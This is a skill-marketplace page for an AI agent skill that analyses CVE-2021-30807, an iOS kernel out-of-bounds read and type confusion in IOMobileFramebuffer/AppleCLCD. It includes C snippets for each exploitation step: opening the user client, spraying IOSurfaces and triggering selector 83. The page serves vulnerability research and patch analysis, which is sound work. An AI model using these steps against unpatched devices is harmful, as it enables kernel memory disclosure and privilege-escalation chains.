# Cve 2021 30807 Analysis

> Analyze and understand CVE-2021-30807, an iOS kernel out-of-bounds read vulnerability in IOMobileFramebuffer/AppleCLCD. Use this skill when researching iOS kernel exploits, studying IOMobileFramebuffer vulnerabilities, analyzing selector 83 exploitation, understanding IOSurface heap spraying techniques, or examining the OOB pointer read + type confusion primitive. Trigger for any questions about this specific CVE, iOS kernel user client exploitation, or when analyzing the Saar Amar PoC code.

- Skill: `abelrguezr/cve-2021-30807-analysis` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/cve-2021-30807-analysis`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/cve-2021-30807-analysis/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/cve-2021-30807-analysis

---


# CVE-2021-30807: IOMobileFramebuffer OOB Analysis

A skill for understanding and analyzing CVE-2021-30807, an out-of-bounds read vulnerability in iOS kernel's IOMobileFramebuffer/AppleCLCD that enables arbitrary kernel reads.

## Vulnerability Overview

**Affected Versions:**
- iOS/iPadOS < 14.7.1
- macOS Big Sur < 11.5.1  
- watchOS < 7.6.1

**Vulnerability Type:** Out-of-bounds pointer read + type confusion

**Impact:** Arbitrary kernel read primitive (can lead to LPE with additional techniques)

**Entitlement Required:** `com.apple.private.allow-explicit-graphics-priority` (available to WebKit.WebContent)

## The Bug Mechanics

### Vulnerable Code Path

```
Userland → IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
         → IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)
         → ptr = *(this + 0xA58 + scalar0 * 8)  // OOB READ
         → IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
```

### Key Details

1. **User-controlled index:** `scalar0` is a 32-bit value passed from userland with **no bounds checking**

2. **OOB pointer fetch:** The kernel reads from `this + 0xA58 + index*8` where `index = scalar0`

3. **Type confusion:** The fetched pointer is cast to `IOSurface*` and passed to IOSurface code

4. **Result:** 
   - If pointer is invalid → kernel panic (DoS)
   - If pointer is valid IOSurface → returns Mach port name (arbitrary read primitive)

## Exploitation Flow

### Step 1: Open the User Client

```c
// Find AppleCLCD service in IORegistry
io_service_t service = IOServiceGetMatchingService(
    kIOMasterPortDefault,
    IOServiceMatching("AppleCLCD"));

// Open user client type 2 (exposes selector 83)
IOServiceOpen(service, mach_task_self(), 2, &user_client_conn);
```

**Why type 2?** This user client variant exposes the external methods table containing selector 83.

### Step 2: Heap Spray with IOSurfaces

The spray populates kernel heap with valid IOSurface objects so the OOB read hits something legitimate:

```c
// Create many IOSurfaces
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
    surface_ids[i] = create_surface(iosurface_uc);
    
    // Spray small values to fill kalloc regions
    IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
                           20, 200, data, sizeof(data), NULL);
}
```

**Goal:** When selector 83 reads past the legitimate array, it likely hits a pointer to one of your sprayed IOSurfaces.

### Step 3: Trigger the OOB Read

```c
// Convert byte offset to pointer slot index (8 bytes per slot on 64-bit)
uint64_t scalars[1] = { offset / 8 };

// Call selector 83
IOConnectCallMethod(appleclcd_uc, 83,
                   scalars, 1,
                   NULL, 0,
                   output_scalars, &output_scalars_size,
                   NULL, NULL);

// Returns Mach port name (u32 handle) to the IOSurface at OOB slot
```

**The offset/8 trick:** The kernel computes `base + index*8`, so you specify slot number, not byte offset.

### Step 4: Use the Returned Port

The call returns a Mach port name (not a raw address). You can then:

- `s_lookup_surface_from_port` (method 34) → convert port to surface ID
- `s_create_port_from_surface` (method 35) → inverse operation

## Key Technical Concepts

### Why IOSurface?

IOSurface is a classic kernel spray primitive because:
- Well-documented allocation patterns
- Predictable kalloc bucket sizes
- Many methods for creating/manipulating surfaces
- Accessible from sandboxed processes (WebKit.WebContent)

### The Type Confusion

The vulnerability doesn't just read OOB—it **misinterprets** what it reads:

1. Reads arbitrary pointer from kernel memory
2. Casts it to `IOSurface*`
3. Passes it to `IOSurfaceRoot::copyPortNameForSurfaceInTask()`
4. If the pointer happens to be a valid IOSurface, the call succeeds
5. Returns a legitimate Mach port to that IOSurface

This is more powerful than a simple OOB read because it gives you a **handle** to kernel memory.

### Entitlement Bypass

The vulnerable method requires `com.apple.private.allow-explicit-graphics-priority`, but:
- **WebKit.WebContent** has this entitlement
- WebKit runs in a sandbox but can still trigger the vulnerability
- This makes the vulnerability exploitable from web context

## Analysis Checklist

When analyzing this CVE or similar vulnerabilities:

- [ ] Identify the user-controlled parameter (scalar0)
- [ ] Trace the code path to find where it's used as an index
- [ ] Check for bounds validation (there isn't any here)
- [ ] Determine what the OOB read returns (pointer, not data)
- [ ] Understand how the returned value is used (type confusion)
- [ ] Identify available spray primitives (IOSurface)
- [ ] Map the entitlement requirements
- [ ] Determine exploitation context (WebKit.WebContent)

## References

- [Original writeup by Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
- [Research from jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html)
- [Apple Security Advisory](https://support.apple.com/en-us/103144)
- [NVD CVE Entry](https://nvd.nist.gov/vuln/detail/CVE-2021-30807)

## Related Vulnerabilities

This vulnerability is part of a pattern of IOMobileFramebuffer exploits:
- Similar OOB read primitives in other selectors
- Heap spraying with IOSurface is a common iOS kernel exploitation technique
- User client external methods are a frequent attack surface

## Research Notes

**For security researchers studying this CVE:**

1. **Understand the primitive:** This is an arbitrary read, not arbitrary write. LPE requires additional techniques.

2. **Study the spray:** The IOSurface spray is critical—without it, the OOB read hits garbage and causes DoS.

3. **Port names matter:** The return value is a Mach port, not an address. This affects how you use the primitive.

4. **Context is key:** The entitlement requirement limits exploitation to WebKit.WebContent context.

5. **Patch analysis:** Compare vulnerable vs. patched code to understand the fix (bounds checking added).

---

**Use this skill when:**
- Analyzing CVE-2021-30807 specifically
- Studying iOS kernel user client vulnerabilities
- Understanding IOSurface heap spraying
- Researching selector 83 exploitation
- Learning about OOB read + type confusion primitives
- Analyzing the Saar Amar PoC code
- Preparing for iOS security research or CTF challenges

